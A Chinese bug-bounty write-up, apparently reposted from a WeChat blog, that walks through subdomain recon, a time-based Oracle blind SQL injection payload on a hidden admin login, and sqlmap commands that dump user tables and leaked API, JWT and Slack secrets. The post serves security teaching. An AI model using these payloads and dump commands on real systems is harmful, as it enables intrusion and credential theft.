前期侦察
assetfinder example.com -subs-only > asset.txtsubfinder -d example.com >> asset.txtfindomain -t example.com -o >> asset.txtcat asset.txt | httprobe | tee -a alive.txt
接着使用 katana + gau + waybackurls
寻找每个被遗忘的端点:
katana -list alive.txt -o endpoints.txtgau example.com >> endpoints.txt
在该过程中,发现了一些有趣的东西:
<https://admin.example.com/login/authenticate>
隐藏的登录页面
这是一个登录页面,没有注册,没有忘记密码,也没有开发暂存泄漏 ,只有 u_username 和 u_password ,但也许这些就足够了。
通过 Burp 捕获请求:
POST /login/authenticate HTTP/1.1Host: admin.example.comContent-Type: application/x-www-form-urlencodedu_username=test&u_password=test123
基于时间的盲注
在尝试了所有常用的 Payloads 后,发现当操作u_username
时,服务器的响应时间会有所延迟 ,这是一个典型的基于时间的 Oracle 盲注信号。
Payload 如下:
u_username='||(SELECT CHR(108)||CHR(111)||CHR(77)||CHR(110) FROM DUAL WHERE 1986=1986 AND 8601=DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(84)||CHR(98)||CHR(108),5))||'&u_password=anything
成功延迟5秒。
SQLMap
将以上请求保存在 re.txt 中,然后运行:
sqlmap -r demo.txt --batch --level=5 --risk=3 --technique=T --dbs
结果显示:
[INFO] The back-end DBMS is Oracle[INFO] retrieved: SYSTEM[INFO] retrieved: INTERNAL_DB
bingo!🎉
深入挖掘数据库
sqlmap -r demo.txt -D INTERNAL_DB --tables
结果:
userssessionstokensconfig_settings
直接dump:
sqlmap -r demo.txt -D INTERNAL_DB -T users --dump
成功提取:
username: adminpassword: $2y$12$3xP3DCRFkdUEyR7E.lNmoOhtrm5CVW8qRMohJ2gkGnNkj8TkdriL2email: [email protected]
敏感信息泄露
通过查看数据库的其它表还发现了:
-
config_settings中的API -
令牌中的 JWT 密钥 -
Slack 和 SMTP 凭证 -
内部S3存储桶和访问令牌
API_KEY=sk_live_abc123...JWT_SECRET=superdupersecret123SLACK_WEBHOOK=https://hooks.slack.com/services/...
因此漏洞报告也从“SQL注入”(高危)变为了(严重):
-
基于时间的盲注(Oracle) -
完整数据库枚举 -
凭证泄露 -
API Token泄漏 -
内部基础设施暴露
希望你能有所收获~
原文始发于微信公众号(骨哥说事):如何将高危的SQL注入提升为严重
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论